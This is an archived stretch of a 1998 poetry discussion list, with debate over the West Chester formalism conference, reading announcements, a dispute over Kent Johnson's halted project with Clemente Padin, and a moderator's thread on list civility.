As probably the only person on this list who has actually been to the West Chester conference--in fact,I've been each of the three years since it started--I can say that yes, Ron, there really is much to be gained from the sessions, particularly the panels, which often include graduate students doing refreshingly noncategorizable work. I'll be including some of these essays in a forthcoming collection, New Formal Poetics, which also includes essays by some on this list (and if you have something you think would be of interest on "form," send it along; there may still be room to squeeze something in, and Armand, I'll get back to you soon). In this book I am trying to bridge some of the abysses between those who care about "form" on both sides of the spectrum. In fact,West Chester may be the only conference devoted to poetry except for the Orono conference that is serious enough to include critical panels as well as readings--somebody correct me if I'm wrong. But there is no money of any kind, state or otherwise, for it, let alone open bars; all the workshop leaders are doing it for a pittance and manyof them choose to do it for free because the conference has yet to break even. The fact that the organizers keep asking the same people over and over has a a lot to do with their embarrassment over asking people they don't know to read or teach for the miniscule fees they can offer (the first year I was a workshop leader and taught 5 days, did a reading and a panel, for $200 plus room and board--the only reason I didn't do it for free is because I was so in debt at the time. I think it's a little more now but I am almost positive that at least half the workshop leaders are still doing it for free, out of their sense of dedication). The reason all these people are willing to do this is only for love of imploding form (thanks, whoever brought that term in--was it Harold?); because they know this is the only place a poet could be among people who care/know about traditional prosody, with whom one can discuss scansion, new prosodic systems, metrical variation, linguistic theories of prosody, etc.. This stuff is complicated, believe it or not, and it's hard to find people who have the patience for it. The passion for "form" in this sense is an addiction like the exploration of any other fertile aesthetic avenue.

Nonetheless, involvement in this conference has been an intense strain for me as well, for various aesthetic and political reasons that will be all too clear to those on this list. There has been some change--Marilyn Nelson, for instance, is a wonderful addition to the faculty, for whose invitation I am happy to take initial credit. But it's been maddening. Every movement has its battles, but trying to radicalize and diversify new formalism ---aesthetically and politically--has really been an almost overwhelming challenge for those of us who have been involved in it (and no, don't hit that R key just yet; really, radicalizing

and diversifying new formalism is NOT an oxymoron. Just think about it a minute.). My own continued involvement is questionable right now. If those of us on the fringes can succeed in intensely altering the agenda of the conference in the next year or two, it could become a uniquely valuable forum for serious discussion of both traditional and exploratory poetics. I would like to see the conference adopt a solid commitment to multicultural poetic forms as well as to exploded form in all its senses, without giving up its initial commitment to traditional English-language prosodies. Are you laughing? Probably you should be, because that sounds like a ludicrous hope to me too. But what's a radical formalist to do nowadays? Where does our community lie? It's all form, after all. I'm going to go make some phone calls. If anyone on this list (talk is cheap, Ron) would like to be on a panel on exploratory form at West Chester this year (Philly area, June 10-13), please backchannel me ASAP (Ron??). If I can do something interesting this year, I might go to the conference again.

Annie

[redacted]

> *sense of process. But today I've discovered a deeper reason why I'm not an experimental poet.*
>
> *West Chester University's 4th annual summer writers conference (June 10-13) focuses this year on "Exploring Form & Narrative" and offers a workshop on "Experimental Forms" taught by...Dana Gioia.*
>
> *I'm not making this up.*
>
> *Some of the other sessions to be taught: Meter (Timothy Steele), Rhyme (Charles Martin), the Sonnet (RS Gwynn), French Forms (Phillis Levin) and Blank Verse (Alfred Corn). There is also an "Introduction to Form" taught by Cynthia Zarin who, as the brochure says, has work that "appears frequently in The New Yorker."*
>
> *There will also be a "celebration" of the Hudson Review (Louis Simpson, Daniel Hoffman, Frederick Morgan etc) and there's a call for critical papers on the poetry of Amy Clampitt, Literary Quarterlies, Translation and "individual authors or subjects relevant to the conference theme."*
>
> *More details including scholarship info at: www.wcupa.edu_ACADEMICS\sch_cas\poetry*
>
> *Cost ranges between $250-499 for the whole shebang, which includes a picnic and dance.*
>
> *Now, I'm perfectly willing to concede that one could get real value from some of the sessions (Marilyn Nelson is teaching a master class, for*

> *example), but the idea that this claustrophobic convocation on pattern represents the idea of "form" insults my intelligence as it should that of any poet born after Baudelaire and Blake. That it is being held at a state institution borders on theft of public resources.*
>
> *So that is why I am not an experimental poet.*
>
> *Ron Silliman*

_____
_____
_____

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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553. Michael J. Kelleher
NYC Reading at HERE
Sun 15 Feb 1998

reading:

Mei-mei Berssenbrugge

and

Michael Kelleher

on

Saturday, February 21st, 2:30p.m.

at

HERE

145 Sixth Avenue (Between Spring and Broome)

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554. Harriet Zinnes
NYC Zinnes reading
Sun 15 Feb 1998

Harriet Zinnes will read from her l995 poetry volume My, Haven't the Flowers Been? and from new poems on Wednesday, February 25, 6-7 pm at

Marymount Manhattan College, Writing Center, 221 East 71 Street, NYC l0021. (No admission fee.)

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555. Harold Rhenisch
Re: experiment and poetry wars
Sun 15 Feb 1998

>>I understand your point Harold, but I guess if you're missing someting its
the fact that neither Hollywood or Disneyland has ever embraced anything even remotely resembling a model of cultural practice based on jazz ensemble collaboration and the endless improvisation of individual and collective identity. My God, I wish they would! -m.<<

They pretend to, and the pretense becomes the message.

They'd be bound to screw it up somehow.

Still, I just meant to say that even jazz ensemble collaboration is an American practice (no value judgement intended), but you're right, it's the positive side.

Best,

Harold
[redacted]

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556. Harriet Zinnes
NYC Zinnes reading
Sun 15 Feb 1998

---

15 February l998

Harriet Zinnes will read from her l995 poetry collection, My, Haven't the Flowers Been? and from new poems on Wednesday, February 25, 6-7 p m, at the Marymount Manhattan College, Writing Center, 221 East 71st Street, NYC 10021. (No admission fee.) The Writing Center is located on the second floor of the Library.

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557. k. lederer
Queries:
Sun 15 Feb 1998

Does anyone have addresses for the following poetry programs:

SUNY Buffalo

New School for Social Research

MFA program at UNLV

New College

???

Thanks!
Katy

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558. **k. lederer**
Re: Queries:
Sun 15 Feb 1998

Sorry--

Also:

Bard

St. Mary's of Moraga, CA...

Also: Does anyone out there have an address for ISHMAEL KLEIN in Paris? Elsewhere?

It's an emergency.....!

Thanks again,
Katy L.

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559. **Richard Long**
Re: Civil Society, or Knot?
Sun 15 Feb 1998

At 9:34 PM -0500 2/15/98, Henry Gould wrote:

> *The head of the Knesset warned his fellow*
> *politicians: "words can kill".*

Or as the late James Berlin used to say: "Language is never innocent."

Richard Long

+----------+
Richard Long
Daemen College, Amherst, NY 14226
http://www.daemen.edu/~rlong

http://www.daemen.edu/~2River
[redacted] * FAX [redacted]
+----------+

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560. Maryrose Larkin
Re: Queries:
Sun 15 Feb 1998

In a message dated 2/15/98 4:04:29 PM Central Standard Time, [redacted] writes:

<<
Also:

Bard
>>
Milton Avery Graduate School of the Arts
PO Box 5000
Annandale-on-Hudson, NY 12504-5000
Telephone: [redacted]
Fax: [redacted]
E-mail: [redacted]

hey I went to school there.

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561. Thomas Bell
Sadder and sadder to better to thank you and a reply
Sun 15 Feb 1998

As promised enclosing the results of bcing - it's basically a pyramid so you can read as much as you like - the first few paragraphs proide a summary and the convolutions go down so you can stop anywhere if you like. There are some important issues touched on here regarding whet happened to Kent. tom bell

> *Return-Path:* [redacted]
> *From: "KENT JOHNSON" <*[redacted]*>*
> *Organization: Highland Community College*
> *To: Thomas Bell <*[redacted]*>*
> *Date: Sun, 15 Feb 1998 11:26:07 -0500*
> *Subject: Re: thank you and a reply*
> *Priority: normal*

Tom:

Thank you, and I would be extremely grateful if you would post the letter you suggest to the list. Thank you for your cool-headeness in writing me b-c, which forced me to stop and put things down in a more dispassionate manner. And,yes, of course, no hard feelings whatsoever--to the contrary, I am very appreciative of your help in assisting me to step back just a little bit so as to deal with the matter in the most responsible way possible.

warmly,
Kent

Date: Sat, 14 Feb 1998 20:14:48 -0600
To: "KENT JOHNSON" <[redacted]>
From: Thomas Bell <[redacted]>
Subject: Re: thank you and a reply

Kent,
Thanks for the response and what you have to say. It clears up a lot for me. I think your comments basically clear up the issues I raised and the information you supply - even though not complete - pretty much convinces me that Clemente may not be completely innocent (I suspend judgement on this issue and woukld go so far as to retract some of my posted statements on this aspect if you think that is appropriate). I also am now pretty convinced that there was more to the Yasusada aftermath than was/is apparent to an outside observer. I also think the information you give here lends more weight to your comments or feelings that there may well be some intentional vindictiveness towards you on the part of some or several people. I think you might want to share some of this with the list as a whole as without what you add here it was not clear to me that there was anything more than than an accident which you over-responded to. You might want to consider supplying some of this to the list as it's possible other readers got the same impression that I got. But if do remeber what I said about controversy following you into the future, the way this and other things have escalated quickly and heatedly, and the possibility that devious parties still are capable of some devious retribution. In other words, leavig aside for the moment your feelings, it might be best dropped. However, if you decide not to drop things you do have my support even though I am not sure this support has any real impact here.

I am extremely sympathetic to your feelings, and I think you have cleared up any reservations that I had. I hope that the same thing goes the other way and that we are at the very least

back to a relation with no hard feelings either way. And I do hope that the relationship is now on a positive basis. For me part this is true.

I do think we owe the list as a whole an explanation. I wouldn't have any problems making this exchange of posts public. Or sending in something like this:

>Kent and I have had an exchange of views backchannel about seeming conflicts and confusions. I am very sympathetic and supportive of Kent as he undergoes through what is obviously a very painful experience. He has given me some further information and me earlier questions and concerns about my perception have for the most part been dissipated.

I think what occured (and still may be occurring) is a very sad commentary on the callous actions of some members of a profession that professes high ideals, ideals that I subscribe to having perhaps worn blinders in the past.

or do ou have suggestions for a better way of phrasing it.

tom

At 01:21 PM 2/14/98 -0500, KENT JOHNSON wrote:
Tom:

I do appreciate your very thoughtful post, and I apologize if my response to you late last night seemed overly intemperate.You are right that this incident has affected me considerably. From one day to the next, a project that was developing in very promising ways, and in which I had already invested a considerable amount of thought and time, was brought to a halt. My anger and frustration stems, in great part, from not knowing exactly why and how this happened, and, increasingly, from my apparent powerlessness to discover anything more concrete than the disturbing suggestions that have been passed my way by Clemente.

I have brought this incident to the list's attention because I _am_ certain that some people subscribed to it (or people with close connections to people subscibed to it) know more about this situation than I do. I had in past months written a few people about this project b-c and a few weeks back put a notice about the project on the wr-eye-tings list, asking for feedback and suggestions. With the exception of my colleagues here in Freeport, none of whom has any

connection to the poetry world, I have not mentioned this project to anyone who is not connected to the list, save two close friends and supporters of my work. My posts in the last 48 hours, though tinged with anger and a performative sort of bravado that often gets the best of me, were written because it seemed the most reasonable and expedient way, given the bizarre circumstances, of compelling those involved to approach me with an explanation. Certainly, if my qualifications for undertaking this project have been questioned in a manner that has effectively teminated my involvement in it, I deserve the courtesy of some kind of answer.

I had decided not to ask Padin for specific names or specific contents of the letters he received, thinking that my appeals would succeed in clarifying the matter. But I am not sure now that this will ever be the case, so I _have_ written Padin a very personal letter, asking tht he provide me with more specific information beyond the troubling allusions he makes in the letters that I have. I wrote this last night and have not yet heard back.

You raise the Yasusada issue and suggest that this may not have anything in the end to do with the problem. Perhaps you are right. But the fact is, Tom, that I do know for a fact that Padin's closest contact in the U.S. is extremely angry about the Yasusada work, to the point that he withdrew poems from Joe Napora's BullHead only because Yasusada work is to be featured there. This person was one of those I had written about my project with Clemente, and I never had any response from him. Now, you could rightly say that this doesn't prove anything and you would be right, but the problem is that I can think of not a single other reason why anyone would attempt to "question" Padin about the wisdom of his association with me, for practically no one on this list (or in the poetry world, for that matter) truly knows me personally and would have any reason to think badly about my "personality". If I am forgetting something about some insult I have caused that you have heard about, please let me know without the need of mentioning names! The simple fact is that the Yasusada work has been extremely controversial, perhaps more publically controversial than any work of American poetry in recent years--For my association with it I have been called everything from an "orientalist" to a "racist." I don't think it is at all unreasonable of me, given the circumstances I have outlined, to suspect very strongly that that work has something to do with these extremely odd events. I am left with the question--what else could it be? It is absolutely clear to me that Padin was very excited about this project, both for himself and for the many poets and personal friends whose work it would have helped bring forward. What was suddenly said that could have brought such a sudden end to that enthusiasm?

I posed the Yasusada question very prominently--as an assumption, in fact-- to Padin right after his first letter announcing the severing of our collaboration, and he said _nothing_ in his most recent letter to contradict my assumption, a strong indication to me that this issue has entered into the matter. But perhaps I am wrong. In my most recent letter I have raised the issue again. We will see if he responds.

And I must respectfully disagree with your suggestion that Padin may be out of touch with the world of pobiz dog eat dog. I grew up in Uruguay (10 years) and went back to work there for another year, and the politics of culture there are as sophisticatedly shitty as anywhere else. In any case, clemente has been operating at an international level for many years, so he is certainly aware of the seamier side of things! In fact, Clemente mentions very specifically that extra-poetic considerations have been brought into the affair in ways that are now beyond his control. I am left with the burning question that no one has yet come forward to answer: what are these considerations? In what way have _I_brought them into play in this bizarre situation?

Though I don't know if you speak Spanish, I am sending you separately my most recent letter to Clemente, wherein I beseech him to provide me with more speccific details. I would send you his last two letters to me, but I don't feel I can do that without his permission, even though I think those letters make it abundantly clear that this issue involves much more than an innocent cultural misunderstanding.

Please write me back, Tom. I am grateful for your taking the time to set down your thoughts, and I do agree with you that it is necessary now to pause for a bit and cool off. But I hope you can see that I am in a very frustrating situation, and I hope these rather spontaneous remarks in answer to your thoughts show that my frustrations are legitimate and important ones.

sincerely,

Kent

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562. **Charles Bernstein**

Civil Society, or Knot?

Sun 15 Feb 1998

I have received a number of complaints about the tone of some recent post on this list. Here is the most recent (I have chosen to withhold the name of the writer for reasons explained in the note):

>I would like to register my complaint about Dale Smith's continued
>abusiveness on the list, comments like today:
>
>>>In fact, it confirms the sort of petty, self-serving and snivelling
fealty I have >>>come to expect from this 'community.'
>
>This is far from the worst of his abusive behavior. I don't feel that the
>list is a safe place for me to register my discomfort at this rudeness,
>this incendiary behavior. ... I no longer feel it is a forum I can
participate in.

> *I feel there should be a certain bottomline of politeness that is enforced. Of course people are going to occasionally go off the deep end and cross that line. But this unrelenting aggressiveness, name-calling, and hostility should not be tolerated.*
>
> *Thanks and sorry to complain.*

Perhaps as a member of this virtual assembly, if not yet community, it's time for me to note that the kind of post being cited here degrades the possibilities for free and open exchange on this list insofar as it may work to silence others. At a certain point, confronted with the charge that *this* community is at fault, it may be the case that we are at fault if no response is made to this, especially as in this case where it comes in a message trivializing the reasonable concerns of other members of this list that their work, as posted on this list or elsewhere, not be reprinted without their permission. I recognize, and moreover, appreciate, the need for boisterous and impolitic language in the kind of free and open exchanges on this list. I am not setting up a hard and fast rule on this issue and will not. However, as stated in the Poetics Welcome message, this is a moderated list and it will be moderated in keeping with the primary goals of the project. Other lists will of course establish different parameters. In this instance, all that I am asking for is consideration of these concerns.

Charles Bernstein

↑ Index

563. Henry Gould
Re: Civil Society, or Knot?
Sun 15 Feb 1998

As one who has been pretty sarcastic on this list - and who has received slights in return - I recognize the temptation to use vituperation and satire in a creative way - to make a point, to provoke others, to add a certain kind of interest (interesting to some, probably just annoying to many). I've fallen for it many a time.

I have 2 responses to Charles' message. First, I would hate to see this list censored in any way. Second, I hope I will keep this word to the wise in mind and hope others will too. We should treat each other with respect.

Why am I responding to CB's message? I've been following world news, including articles on the level of abuse people are subjected to in political discourse in Israel at present. The head of the Knesset warned his fellow politicians: "words can kill". There is no reason this list has to imitate the worst in talk radio. Spandrift may be Eric Blarnes' hero, but he takes off his chaps & spurs to use the outhouse just like the rest of us.

Some people may find it hypocritical for me to be voicing these sentiments. Well, I've been thinking about it. Call me on it if I forget myselves. At the same time, just as words can kill, it's also true that the truth hurts. Then again, however: "judge not lest ye be judged." - Henry Gould

oh say, I just happened to have a few sonnets on that subject here... --Pushkin! come back here, you bad, bad cat! gimme those...

↑ Index

564. Thomas Bell
Re: Spahn, Kutik, Spandrift
Sun 15 Feb 1998

Actually the memory of Spahnie's long pickoff move - the best there will ever be is what sticks in my mind - I can still see the graceful arm and quick whip snap that haunted runners for years. Actually it's a visceral memory, one that I rehearsed every evening for several years albeit from the starboard side (?is this the equivalent for port's opposite in this case).

Somewhat more seriously? On the other sport note, this is the second recent note here on Current Russian/slavic verse. I would appreciate info on

availability of current russian verse (particularly www refs). I asked this once several years ago here and got a wealthof responses, but I'm sure other things have appeared. I live in a small town with no close University library access and am often starved for current info in many areas. tom bell

p.s., Spahnie also played a mean banjo with another manager, Cholley Grimm.

At 10:11 AM 2/15/98 -0600, [redacted] wrote:
>Nice to see a review of Ilya Kutik's Ode on Visiting the Belasoraisk Spit on
>the Sea of Azov, a really wonderful work and wonderful translation, in the
>new issue of Non. No mention of Ilya's winning the gold for figure skating,
>tho.
>
>Non, like Jacket and a few other venues hereabouts, is showing what the
WWW
>can really do vis a vis alternative publishing. Totally great effort.
>
>Warren Spahn pitched so long in the majors that his first manager (1942
>Boston Braves) was also his last (1965 NY Mets), Casey Stengel. Close
>readers here will recall that Stengel was an early version of Jack Spandrift
>(and may indeed _be_ Jack Spandrift, which would explain a lot). Spahn
>coached in Japan (!) and Mexico apparently before heading back to the mound
>in Mexico, which actually delayed his entrance in the Hall o' Fame by 3
>years. The man did indeed lose 3 years to WW2 (and got a purple heart after
>being shrapneled on the Rhine), won 267 games before he pitched his first
>no-hitter (his second came at the age of 41) and did one thing no active
>pitcher will ever come close to: he hit 35 home runs. If you never saw his
>high leg kick (nor the righty cloned version Juan Marichal still says cut
>his career short), you have no idea how beautiful baseball as a sport can
>be. Spicer coulda told you,
>
>Ron
>
>

↑ Index

565. **George Bowering**
Re: sublimating the ridiculous
Sun 15 Feb 1998

> *"Canadian Literature" magazine, which used to welcome poetry between its pages of academic abstracts, essays, and reviews, and even paid, which was very welcome, is now insisting on retaining all copyright and all moral rights, with no further consideration due the poet. To be fair, they will*

> *allow writers to re-publish their work, free of charge in most cases, but will bill the writers for enquiries. Mind you, that's not the point. The point is that publication in "Canadian Literature" is now deemed to be so prestigious that one would, presumably, be willing to abdicate copyright in order to get in.*

But of course it is not. The poetry published in the magazine is pretty bad stuff, mainly creative writing poems, short descriptive pieces that I cannot believe anyone but the authors reads.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

566. **Billy Little**

contagion

Mon 16 Feb 1998

I'm with Charles and that other who mentioned we should all wear high heels when we're responding. Keep in mind in these contagious times, spit carries the flu and the flu doesn't stop at you, take your pills before it spills into our brains and then our lovers brains and how far is the infants choochoo trains? i feel for Kent but at the same time my sypathy strains harder to reach the person being eligible for a sabbatical and another who's stretching 5-6000 a year, there's heartbreak and hartebrake. i want to see those whines distilled to songs, to blues perhaps, one day the list will have a sound track, we'll all write to the accompaniment of Carl Orff and feel humble or exalted, powerful seats of response. Bitterness does not further. Save your strength for new creation, stimulate me, the poet citizens responsibility, there's enough that brings us down already. Consolation is what we want for the Israelis and Palestinians, consolation we seek for the iraqis and the yanks, consolation we need to admit in own relations. Consolation not conflagration. If only there were a madison ave of the left, me and mayakovsky we'd be millionaires.

namaste

↑ Index

567. David R. Israel
Re: Civil Society, or Knot?
Mon 16 Feb 1998

Tangent city here --

> *From: Richard Long <[redacted]>*
>
> *At 9:34 PM -0500 2/15/98, Henry Gould wrote:*
>
> *The head of the Knesset warned his fellow politicians: "words can kill".*
>
> *Or as the late James Berlin used to say: "Language is never innocent."*

does that mean, language is "always guilty"?

(whatever happend to a jury of its peers?)

d.i.

↑ Index

568. R M Daley
Re: Queries:
Mon 16 Feb 1998

duh. katy i have the adresses of any department you'd want in three of those schools you know - unlv, new college, buffalo -

come down and get 'em - we'll be up late tonight

love, r

On Sun, 15 Feb 1998, k. lederer wrote:

> *Does anyone have addresses for the following poetry programs:*
>
> *SUNY Buffalo*
>
> *New School for Social Research*
>
> *MFA program at UNLV*
>
> *New College*
>
> *???*
>
> *Thanks!*
> *Katy*

↑ Index

569. **k. lederer**
Re: Queries:
Mon 16 Feb 1998

So thanks!
I've gotten all of the addresses besides:

St. Mary's of Morage, CA

The New School in NYC

And esp. ISHMAEL KLEIN in Paris--

(I'm looking for creative writing dept. addresses--no need to send phone numbers etc.)

With gratitude,
Katy

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570. **rsillima**
Banjo
Mon 16 Feb 1998

"Spahnie also played a mean banjo with another manager, Cholley Grimm."

How does this compare with Stan Musial's harmonica?

Ron

↑ Index

571. **KENT JOHNSON**
Clarity
Mon 16 Feb 1998

For what it's worth, when I told Tom I'd be grateful to him for "posting the letter," I was referring to the proposed follow-up he had inserted into his b-c to me and not to our whole b-c exchange. In any case, the misunderstanding is not Tom's fault, whose kindness I appreciate-- I should have been clearer.

Ah, clarity.

Going off list for some time. I can be reached back-channel.

Kent

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572. louis stroffolino
EMERGENCY
Mon 16 Feb 1998

Doess anybody have the exact quote for Eliot's
"bad poets borrow; good poets steal"
phrase handy (i can never find thee things).

I will be very grateful

in the words of Katy Lederer, "THIS IS AN EMERGENCY!"

thanks, chris

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573. Alan Myouka Sondheim
NOISE news #7 (fwd)
Mon 16 Feb 1998

-

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"The bit of noise, the small random element, transforms
one system or one order into another."
M. Serres

"Between the rationality for which the analysis speaks and
the law that history repeats there remains a gap,
infinitesimal to be sure,
but fundamental"
M. De Certeau

*

Welcome to NOISE News #7.
This issue contains the call for submissions to p e r f o r a t i o n s 17. The guest editor for this issue is Alan Sondheim.

As always, we are especially looking for form/content explorations which use emergent technologies such as hypertext, in vital and innovative ways, as well as essays and reviews. Also, we consider these issues as 'nodes' for research and ongoing activity, so they are occasionally udated or articles added. However we DO like to start compiling initial material as soon as possible.

Previous nodes may be viewed from the Public Domain page at: www.pd.org

The call for P18 on the theme of Post-Feminist Art, guest editor Monika Weiss, will be issued shortly.

For more information contact:
[redacted],
[redacted], or
[redacted]

Public Domain, Inc. will also be issuing a CD of sonic explorations at the end of March to be entitled VEIL. We'll put up a sample on the Performance page at some point. For more information: [redacted]

ILLEGIBILITY

An assumption of this century, Foucault's analysis of _divinatio_ not- withstanding, is that the world is becoming increasingly legible - that there are one or more _readings_ of the world - either through the foreclosing of textuality (what is, can be said), or through an increased understanding aligned with progress and progressivity. If the world is an encoding, then decipherment continues to reduce the unknown, and this might even be measured in terms of bandwidth, toler- ances, and so forth.

On the other hand, one might argue towards an essential and irreduci- ble _illegibility,_ that not everything is decipherable - that there may, perhaps, be unknown or unknowable signs - as well as phenomena masquerading as signs - as well as phenomena having no relation to the symbolic at all.

This is not an arguement for a "horizon" of the illegible, but a seepage that occurs perhaps _within_ as well as without the legible. (For example, it may not be the case that every culture can be traced or translated - even in part - into every other.) Perhaps every domain is inherently illegible; perhaps foundations are not always interpretable across the board (and there for are not foundations sub specie aeternis). Consi- der the illegibility and illiteracy of the world, and consider the following, somewhat practical, concerns. (Any other related concerns, of course, would do as well.)

0 Issues of identity, recognition, self-reflexivity / asservation: To what extent does identity depend on legibility? Can one "read" another culture (without or without literacy in that culture) in such a manner that anomie or the sensation

of exile do not occur? Can one "read" one's own culture in this manner? What is the phenmenology of anomie? Of exile?

1 Illiteracy - the inability to read and write. Every text is illegi- ble. (But if one is literate in the language of a text, and the text is visually "clear," does that _necessarily_ mean it is legible?) What is the post-Ivan Illich "take" on language, reading and writing?

2 Computer illiteracy - the inability to use computer technology. (Are computers legible _all the way down_? What constitutes legibility in this case?) What is the political economy of computer technology? Of computer-mediated-communication (CMC) in relation to this? (Think of the division between haves and have-nots for example. What - today - constitutes _having_? Is bandwidth a consideration?)

3 Dead Media (Bruce Sterling) - illegible remnants, archeologies. (What constitutes "media" in the first place?)

4 Infinite _kanji_ - wandering across a Borgesian world in which uni- versals do not exist, in which each signified (in the sense of refer- ence in the world) possesses its own sign. Nothing and everything are simultaneously interpretable in writing. All signs are illegible and legible; all are strictly indexical, ikonic, blurring the distinction.

5 Illegibility of or on or off the Net: What constitutes Internet illegibility; what constitutes Net illiteracy? Do TCP/IP and other protocols play a role here? Since virtual subjectivity is largely textual (or entirely textual, if bit-mapping is considered as such), what would be an _illegible subject_? What sorts of reception theory apply here?

6 Are cultures translatable? Is habitus a discourse or discursive for- mation? What is the political economy of legibility, of illegibility?

7 What constitutes misrecognition? How does misrecognition play into the above? (Misrecognition: an alternative or alternative reading, a non-intended reading, a reading-degree-zero, an absent or absent-mind- ed reading.)

8 Reading and writing "foreign" cultures or the cultures of one's own. Reading and writing on the Net.

9 And finally, to what extent is illegibility _inherent_ in the world at large? And what constitutes this inherency?

---

general enquires to: [redacted]

technical: [redacted]

artist questionarire: [redacted]

p e r f o r a t i o n s/FORT!/da?: [redacted], [redacted]

S P R A w l: [redacted]

Public Domain, Inc./perforations
POB 8899
Atlanta, GA
30306-0899

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574. Dale M Smith
Some Composed Responses
Mon 16 Feb 1998

It's a shame, and damned distressing, to see what Kent is going through. I am thankful though for Tom Bell's recent posts that help shed some light on the affair and that will hopefully increase sympathy for Kent's unfortunate position. Unlike Kent, however, I seriously doubt that anyone will admit their guilt in this sabotage. But their silence can be revealling...

Mr. Bernstein, I'm sure you know those who backchanneled you did so not out of fear of making posts to a list with the likes of impolite me, but because they disagree with what I say and they detest my uncouth postal tones. This proves they lack a sense of humor and that posts in Cyberville must be drained of emotion in order to survive. The post in question actually *did* what I wanted it to do (a language act?): it facilitated discussion about Kent's doomed project. It was definitely an in-your-face, over-the-top statement. But it worked better than if I had written in polite measure, 'Oh, pretty please, someone help poor Kent Johnson..."

Ultimately, this is about dissent. I keep returning to this, but it's true. The high ideals of this community are often exposed as shams, as the Kent Johnson affair suggests. Those who oppose me dislike that I point out their hypocrisy. The only way to prevent me from doing that is to turn me off.

But I will consider your actually very generous post. And I will swallow my impulse to tell you to go screw yourself, out of respect for your role on this list, and out of respect for all you've done for this great art of poetry.

Dale Smith

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575. **Scott Pound**
Re: NYC Reading at HERE
Mon 16 Feb 1998

Go Michael!

Wish I could be (T)HERE!

Scott

> *reading:*
>
> *Mei-mei Berssenbrugge*
>
> *and*
>
> *Michael Kelleher*
>
> *on*
>
> *Saturday, February 21st, 2:30p.m.*
>
> *at*
>
> *HERE*
>
> *145 Sixth Avenue (Between Spring and Broome)*

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576. **Henry Gould**
Re: Some Composed Responses
Mon 16 Feb 1998

On Mon, 16 Feb 1998 10:25:17 CST Dale M Smith said:
>
>Ultimately, this is about dissent. I keep returning to this, but it's true.
>The high ideals of this community are often exposed as shams, as the Kent
>Johnson affair suggests.

Dale, I don't see how the 2nd part of your last sentence is evidence of the assertion in the 1st part. My guess is that the large majority of people on this list are like me: they haven't followed the Yasusada "affair", they know neither Kent, the poet in South America, nor Kent's hidden antagonists, and they are in no position to take a position on this. This may indeed show the limitations of this "community" in terms of its ability to either support or oppose Kent; but nobody ever claimed, in a "shamful" way, that this was an advocacy organization. If what Kent says is true about people maliciously meddling in his own projects,

this is a shame. But if I were Kent I would be in close conversation with the South American guy to try and determine the exact nature of the accusations & qualms in order to lay them to rest, as well as garner letters of support & confidence in order to turn it around. If I were the South American guy I wouldn't give much weight to "Kent is all right" letters from people (like me) completely out of that loop. If there are people "in the loop" who want to support Kent, I presume they have already backchanneled him in this regard. What gives you the right to cast aspersions on the list for not jumping blindly on this particular bandwagon? Are you suggesting that because a few people on this list may be backstabbing jerks, then the whole list is to blame? It may be that Kent has been victimized by some "powerful" people in the "poetry world"; this is a possibility; in which case everybody's continued participation in that world on those terms shares some blame. But the case has to be made, first. - Henry Gould

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577. **Harold Rhenisch**
Re: sublimating the ridiculous
Mon 16 Feb 1998

>publication in "Canadian Literature" is now deemed to be so
>prestigious that one would, presumably, be willing to abdicate copyright
in
>order to get in.

> *But of course it is not.*

Exactly. Strange.

Harold Rhenisch
[redacted]

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578. **Thomas Bell**
Re: Banjo
Mon 16 Feb 1998

Isn't the real issue here which one accompanied Bob Uecker in the Beer Barrel Polka the night Billy Martin was arrested for brawling? That was a real experimental piece!

At 05:26 AM 2/16/98 -0600, [redacted] wrote:
>"Spahnie also played a mean banjo with another manager, Cholley Grimm."
>
>How does this compare with Stan Musial's harmonica?
>

>Ron
>
>

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579. **Jordan Davis**
Raworth / Gardner @ Poetry City 3/5 7pm
Mon 16 Feb 1998

SPEED RACER .. GOOD VIBES

Tom Raworth
reads
his poetry
at Poetry
City with Drew
Gardner March
5 @ 7 pm

free

buy a book and
relive the experience

Poetry City is
in New York City at
Teachers & Writers
in the Oswald Spengler Bldg
5 Union Square "Decline of the" West

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580. **Karen Kelley**
Re: Some Composed Responses
Mon 16 Feb 1998

Dale M Smith wrote:
>
>
> Mr. Bernstein, I'm sure you know those who backchanneled you did so not out
> of fear of making posts to a list with the likes of impolite me, but because
> they disagree with what I say and they detest my uncouth postal tones. This
> proves they lack a sense of humor and that posts in Cyberville must be
> drained of emotion in order to survive. The post in question actually *did*

> what I wanted it to do (a language act?): it facilitated discussion about
> Kent's doomed project.

A couple of thoughts on this: Dale excused himself in this post, complimented Charles Bernstein, and essentially dismissed the person who felt silenced by his post attitude. Rather a hierarchical response. I would encourage the person who posted to Charles to try to feel free to write to the list. I think incivility (and no matter how cleverly composed) is seen by 99.9% of the list as exactly what it is: lack of self control.

As regards the efficacy of Dale's post regarding Kent's issues: I think he is being self-serving in seeing his post as having facilitated conversation. My mail delivered responses that preceded his, and by that time I had already back-channeled Kent, as I imagine others had.

Again, though, I'd like to point out that most of the posts to the list come from a relatively small percentage of subscribers: perhaps we should try to be more welcoming of other thoughts/discourses. I'm sure there are plenty of people out there with thoughts they are reluctant to share because they are not consistent with the list's usual tone. Unfortunately, I imagine may of these people are women. Please, anyone who wants to speak up, do. You'll find most of the responses you receive to be gracious and well-considered (much of this does tend to occur back-channel, so the list isn't always a good indicator of response). I for one would love to see more "thought" (vs. composed exhortation).

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581. david bromige
Dale and the b-c's
Mon 16 Feb 1998

Dale, I'd like to say in front of the List that while I did b-c Charles B for clarification re-policy on pirate-publishing Listpostings, _I_ did not urge him to debar you; not for that, nor for your uncouth postal tones, nor your views, although I have been in opposition to them.

Because I have been among those who have been addressed in uncouth terms by you, and whose views have been held in contempt by you, I feel it necessary to make this statement.

While I did say, on the List, that I was surprised you put up with a List composed largely of academics, a body of persons you are inclined to revile on a bad day, I was not "wishing you off the list" (as someone who likes you, said to me b-c). I note that your tone has modulated of late, and where there's life, there's hope. I dont think _dissent_ is the problem; it's the rudeness and the prejudices. db 3

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582. Jordan Davis
GRaet expecTAItons
Mon 16 Feb 1998

An assemblyman was strolling the grounds
Beside the northern building of the state senate
Walking past the antique roses looking at them
And smelling them. The bees and the beetles
Were the only other ones there this afternoon
So close to the end of the spring term.
Pulling a whitish pink just-opened bud close and drawing
The sour-deep rose scent into his face
He coughed and saw with his third eye
A pleasant scene of life in his district.

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583. Karen Kelley
Re: EMERGENCY
Mon 16 Feb 1998

---

chris stroffolino wrote:
>
> Doess anybody have the exact quote for Eliot's
> "bad poets borrow; good poets steal"
